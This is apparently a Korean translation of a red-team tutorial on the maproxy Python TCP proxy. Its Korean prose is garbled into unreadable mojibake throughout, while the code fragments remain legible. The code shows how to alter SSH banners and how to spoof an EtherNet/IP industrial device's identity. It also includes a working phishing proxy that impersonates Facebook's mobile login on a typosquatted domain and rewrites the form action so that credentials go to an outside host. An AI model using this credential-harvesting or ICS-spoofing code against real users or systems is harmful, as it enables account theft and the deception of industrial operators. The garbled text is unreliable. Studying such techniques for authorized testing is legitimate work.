๊ธฐ์ฌ์ ๋ฒ์ญ์ ๊ณผ์ ์์ ์ ๋ ์ ์ค๋น๋์์ต๋๋ค.
์ถ์
์ ๊ธฐ์ ์ธ ์นจํฌ ํ ์คํธ์ Red Team ์ด์๋ถํฐ IoT/ICS ์ฅ์น ๋ฐ SCADA ํดํน์ ์ด๋ฅด๊ธฐ๊น์ง ๋ค์ํ ์ ํ์ ๋ณด์ ํ๊ฐ์๋ ๋ฐ์ด๋๋ฆฌ ๋คํธ์ํฌ ํ๋กํ ์ฝ ์์ , ์ฆ ๋ณธ์ง์ ์ผ๋ก ํด๋ผ์ด์ธํธ์ ๋์ ๊ฐ์ ๋คํธ์ํฌ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋ก์ฑ๊ณ ์์ ํ๋ ์์ ์ด ํฌํจ๋ฉ๋๋ค. Wireshark, Tcpdump ๋๋ Scapy์ ๊ฐ์ ๋๊ตฌ๊ฐ ์์ผ๋ฏ๋ก ๋คํธ์ํฌ ํธ๋ํฝ์ ์ค๋ํํ๋ ๊ฒ์ ์ด๋ ค์ด ์์ ์ด ์๋์ง๋ง ๋คํธ์ํฌ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ณ , ํํฐ๋งํ๊ณ , ๋ณ๊ฒฝํ๋ ค๋ฉด ์ผ์ข ์ ์ธํฐํ์ด์ค๊ฐ ํ์ํ๋ฏ๋ก ์์ ์ ๋ ๋ ธ๋ ์ง์ฝ์ ์ธ ์์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค. ์ฆ์์์ ๊ฑฐ์ ์ค์๊ฐ์ผ๋ก ๋์ ํธ์คํธ๋ก ๋ค์ ๋ณด๋ ๋๋ค. ๋ํ ์ด๋ฌํ ๋๊ตฌ๊ฐ ๋ค์ค ๋ณ๋ ฌ ์ฐ๊ฒฐ๊ณผ ์๋์ผ๋ก ์๋ํ๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ ์ํ ์ ์๋ค๋ฉด ์ด์์ ์ ๋๋ค.
์ด๋ ๋ ์ ๋ ๋ค์๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ๋ฐ๊ฒฌํ์ต๋๋ค.
, ๋ฌธ์๋ฅผ ํตํด ์ ์ํ๊ฒ ๋ค์๊ณผ ๊ฐ์ ์ฌ์ค์ ์ ์ ์์์ต๋๋ค. maproxy
โ ๋์๊ฒ ๋ฑ ํ์ํ ๊ฒ. ์ด๋ ๋งค์ฐ ๊ฐ๋จํ๊ณ ๋ค์ํ๋ฉฐ ์ฝ๊ฒ ๊ตฌ์ฑํ ์ ์๋ TCP ํ๋ก์์
๋๋ค. ๋๋ ์ด ๋๊ตฌ๊ฐ ๋ง์ ๋ณ๋ ฌ ์ฐ๊ฒฐ์ ์ฒ๋ฆฌํ ์ ์๋์ง ํ์ธํ๊ธฐ ์ํด ICS ์ฅ์น(๋ง์ ํจํท์ ์์ฑํ๋)๋ฅผ ํฌํจํ์ฌ ์๋นํ ๋ณต์กํ ์ฌ๋ฌ ์์ฉ ํ๋ก๊ทธ๋จ์์ ํ
์คํธํ์ผ๋ฉฐ ๋๊ตฌ๊ฐ ์ ์๋ํ์ต๋๋ค.
์ด ๊ธฐ์ฌ์์๋ ๋ค์์ ์ฌ์ฉํ์ฌ ์ฆ์ ๋คํธ์ํฌ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ๋ฒ์ ์๊ฐํฉ๋๋ค. maproxy
.
๊ฒํ
์๋จ maproxy
Python์ ์ธ๊ธฐ ์๊ณ ์ฑ์ํ ๋น๋๊ธฐ ๋คํธ์ํน ํ๋ ์์ํฌ์ธ Tornado๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ๋ค์๊ณผ ๊ฐ์ ์ฌ๋ฌ ๋ชจ๋๋ก ์๋ํ ์ ์์ต๋๋ค.
TCP:TCP
โ ์ํธํ๋์ง ์์ TCP ์ฐ๊ฒฐ;TCP:SSL
ะธSSL:TCP
โ ๋จ๋ฐฉํฅ ์ํธํ ์ฌ์ฉSSL:SSL
โ ์๋ฐฉํฅ ์ํธํ.
๋์๊ด์ฒ๋ผ ๋์ค๋ค์. ๋น ๋ฅธ ์์์ ์ํด ๊ธฐ๋ณธ ๋ด์ฉ์ ๋ฐ์ํ๋ ์์ ํ์ผ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
์ฌ๋ก 1 - ๋จ์ ์๋ฐฉํฅ ํ๋ก์
์ ๊ธฐ์ด tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
๊ธฐ๋ณธ์ ์ผ๋ก ProxyServer()
์ฐ๊ฒฐ ์์น์ ๋์ ํฌํธ๋ผ๋ ๋ ๊ฐ์ง ์ธ์๋ฅผ ์ฌ์ฉํฉ๋๋ค. server.listen()
ํ๋์ ์ธ์, ์ฆ ๋ค์ด์ค๋ ์ฐ๊ฒฐ์ ์์ ํ๊ธฐ ์ํ ํฌํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
์คํฌ๋ฆฝํธ ์คํ:
# python tcp2tcp.py
ํ
์คํธ๋ฅผ ์คํํ๊ธฐ ์ํด ํ๋ก์ ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ๋ก์ปฌ SSH ์๋ฒ์ ์ฐ๊ฒฐํ๊ฒ ์ต๋๋ค. 2222/tcp
ํฌํธ๋ฅผ ์ฐ๊ฒฐํ๊ณ ํ์ค ํฌํธ์ ์ฐ๊ฒฐํฉ๋๋ค. 22/tcp
SSH ์๋ฒ:
ํ์ ๋ฐฐ๋๋ ์์ ์คํฌ๋ฆฝํธ๊ฐ ๋คํธ์ํฌ ํธ๋ํฝ์ ์ฑ๊ณต์ ์ผ๋ก ํ๋ก์ํ์์ ์๋ ค์ค๋๋ค.
์ฌ๋ก 2 - ๋ฐ์ดํฐ ์์
๋ ๋ค๋ฅธ ๋ฐ๋ชจ ์คํฌ๋ฆฝํธ logging_proxy.py
๋คํธ์ํฌ ๋ฐ์ดํฐ์ ์ํธ ์์ฉํ๋ ๋ฐ ์ด์์ ์
๋๋ค. ํ์ผ์ ์ฃผ์์ ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด ์์ ํ ์ ์๋ ํด๋์ค ๋ฉ์๋๋ฅผ ์ค๋ช
ํฉ๋๋ค.
๊ฐ์ฅ ํฅ๋ฏธ๋ก์ด ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
on_c2p_done_read
โ ํด๋ผ์ด์ธํธ์์ ์๋ฒ๋ก ๊ฐ๋ ๋์ค์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋ก์ฑ๊ธฐ ์ํดon_p2s_done_read
- ๋ฐ๋.
์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ์ ๋ฐํํ๋ SSH ๋ฐฐ๋๋ฅผ ๋ณ๊ฒฝํด ๋ณด๊ฒ ์ต๋๋ค.
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
์คํฌ๋ฆฝํธ๋ฅผ ์คํํฉ๋๋ค.
๋ณด์๋ค์ํผ ํด๋ผ์ด์ธํธ์ SSH ์๋ฒ ์ด๋ฆ์ด ๋ค์์ผ๋ก ๋ณ๊ฒฝ๋์๊ธฐ ๋๋ฌธ์ ํด๋ผ์ด์ธํธ๊ฐ ์๋ชป ์ธ๋๋์์ต๋๋ค. ยซDumnySSHยป
.
์ฌ๋ก 3 - ๋จ์ ํผ์ฑ ์นํ์ด์ง
์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋์ด ์์ต๋๋ค. ์ด๋ฒ์๋ ๋ ๋ํ ์ด์ ์ธก๋ฉด์์ ์ข ๋ ์ค์ฉ์ ์ธ ๊ฒ์ ์ด์ ์ ๋ง์ถฐ ๋ณด๊ฒ ์ต๋๋ค. ๋๋ฉํ์ด์ง๋ฅผ ํ๋ด๋ด์ m.facebook.com
์๋ฅผ ๋ค์ด, ์๋์ ์ธ ์คํ๊ฐ ์๋ ์ฌ์ฉ์ ์ ์ ๋๋ฉ์ธ์ ์ฌ์ฉํฉ๋๋ค. m.facebok.com
. ์ค๋ช
์ ์ํด ๋๋ฉ์ธ์ด ์ฐ๋ฆฌ์ ์ํด ๋ฑ๋ก๋์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค.
์ฐ๋ฆฌ๋ ํผํด์ ํ๋ก์ ๋ฐ SSL ์คํธ๋ฆผ์ ์ฌ์ฉํ์ฌ Facebook ์๋ฒ์ ๋ํ ์ํธํ๋์ง ์์ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ์ค์ ํ ์์ ์
๋๋ค(31.13.81.36
). ์ด ์์ ๊ฐ ์๋ํ๋๋ก ํ๋ ค๋ฉด HTTP ํธ์คํธ ํค๋๋ฅผ ๊ต์ฒดํ๊ณ ์ฌ๋ฐ๋ฅธ ํธ์คํธ ์ด๋ฆ์ ์ฝ์
ํด์ผ ํ๋ฉฐ, ์ฝํ
์ธ ์ ์ฝ๊ฒ ์ก์ธ์คํ ์ ์๋๋ก ์๋ต ์์ถ๋ ๋นํ์ฑํํฉ๋๋ค. ๊ถ๊ทน์ ์ผ๋ก ์ฐ๋ฆฌ๋ ๋ก๊ทธ์ธ ์๊ฒฉ ์ฆ๋ช
์ด Facebook ์๋ฒ ๋์ ์ฐ๋ฆฌ์๊ฒ ์ ์ก๋๋๋ก HTML ์์์ ๋์ฒดํ ๊ฒ์
๋๋ค.
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ko/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
๊ฒฐ๊ณผ :
๋ณด์๋ค์ํผ ์๋ณธ ์ฌ์ดํธ๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ๊ต์ฒดํ ์ ์์์ต๋๋ค.
์ฌ๋ก 4 โ ์ด๋๋ท/IP ํฌํ
์ ๋ ํ๋ก๊ทธ๋๋ฐ ๊ฐ๋ฅ ์ปจํธ๋กค๋ฌ(PLC), I/O ๋ชจ๋, ๋๋ผ์ด๋ธ, ๋ฆด๋ ์ด, ๋๋ ํ๋ก๊ทธ๋๋ฐ ํ๊ฒฝ ๋ฑ๊ณผ ๊ฐ์ ์ฐ์ ์ฉ ์ฅ์น ๋ฐ ์ํํธ์จ์ด(ICS/SCADA)๋ฅผ ์ค๋ซ๋์ ๋ค๋ฃจ์ด ์์ต๋๋ค. ์ฐ์ ์ฉ ๋ฌผ๊ฑด์ ์ข์ํ๋ ๋ถ๋ค์ ์ํ ์ผ์ด์ค์ ๋๋ค. ์ด๋ฌํ ์๋ฃจ์ ์ ํดํนํ๋ ค๋ฉด ๋คํธ์ํฌ ํ๋กํ ์ฝ์ ์ ๊ทน์ ์ผ๋ก ํ์ฉํด์ผ ํฉ๋๋ค. ๋ค์ ์์์๋ ICS/SCADA ๋คํธ์ํฌ ํธ๋ํฝ์ ์์ ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ๊ณ ์ถ์ต๋๋ค.
์ด๋ฅผ ์ํด์๋ ๋ค์์ด ํ์ํฉ๋๋ค.
- ๋คํธ์ํฌ ์ค๋ํผ(์: Wireshark)
- ์ด๋๋ท/IP ๋๋ SIP ์ฅ์น๋ Shodan ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ ์ฐพ์ ์ ์์ต๋๋ค.
- ์ฐ๋ฆฌ์ ์คํฌ๋ฆฝํธ๋ ๋ค์์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
maproxy
.
๋จผ์ CIP(Common Industrial Protocol)์ ์ผ๋ฐ์ ์ธ ์๋ณ ์๋ต์ด ์ด๋ค ๊ฒ์ธ์ง ์ดํด๋ณด๊ฒ ์ต๋๋ค.
์ฅ์น ์๋ณ์ CIP์ ๊ฐ์ ์ ์ด ํ๋กํ ์ฝ์ ํฌํจํ๋ ์ฐ์
์ฉ ์ด๋๋ท ํ๋กํ ์ฝ์ ํฅ์๋ ๋ฒ์ ์ธ ์ด๋๋ท/IP ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์ํ๋ฉ๋๋ค. ์คํฌ๋ฆฐ์ท์ ํ์๋ ๊ฐ์กฐ ํ์๋ ID ์ด๋ฆ์ ๋ณ๊ฒฝํ๊ฒ ์ต๋๋ค. "์ด๋๋ท์ฉ NI-IndComm" ํ๋ก์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค. logging_proxy.py
๋ง์ฐฌ๊ฐ์ง๋ก ํด๋์ค ๋ฉ์๋๋ฅผ ์์ ํฉ๋๋ค. on_p2s_done_read
, ํด๋ผ์ด์ธํธ์ ๋ค๋ฅธ ID ์ด๋ฆ์ด ํ์๋๊ธฐ๋ฅผ ์ํ๊ธฐ ๋๋ฌธ์
๋๋ค.
์ฝ๋ :
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
๊ธฐ๋ณธ์ ์ผ๋ก ์ฐ๋ฆฌ๋ ์ฅ์น ์๋ณ์ ๋ ๋ฒ ์์ฒญํ๋๋ฐ ๋ ๋ฒ์งธ ์๋ต์ ์๋ ์๋ต์ด์๊ณ ์ฒซ ๋ฒ์งธ ์๋ต์ ์ฆ์์์ ์์ ๋์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ผ๋ก
๋ด ์๊ฒฌ์ผ๋ก๋ maproxy
Python์ผ๋ก๋ ์์ฑ๋ ํธ๋ฆฌํ๊ณ ๊ฐ๋จํ ๋๊ตฌ์ด๋ฏ๋ก ์ฌ๋ฌ๋ถ๋ ์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ด์ ์ ์ป์ ์ ์๋ค๊ณ ๋ฏฟ์ต๋๋ค. ๋ฌผ๋ก ๋คํธ์ํฌ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๊ณ ์์ ํ๊ธฐ ์ํ ๋ ๋ณต์กํ ๋๊ตฌ๊ฐ ์์ง๋ง ๋ ๋ง์ ์ฃผ์๊ฐ ํ์ํ๋ฉฐ ์ผ๋ฐ์ ์ผ๋ก ํน์ ์ฌ์ฉ ์ฌ๋ก(์: maproxy
์์ ์คํฌ๋ฆฝํธ๊ฐ ๋งค์ฐ ๋ช
ํํ๋ฏ๋ก ๋คํธ์ํฌ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋ก์ฑ๊ธฐ ์ํ ์์ด๋์ด๋ฅผ ๋น ๋ฅด๊ฒ ๊ตฌํํ ์ ์์ต๋๋ค.
์ถ์ฒ : habr.com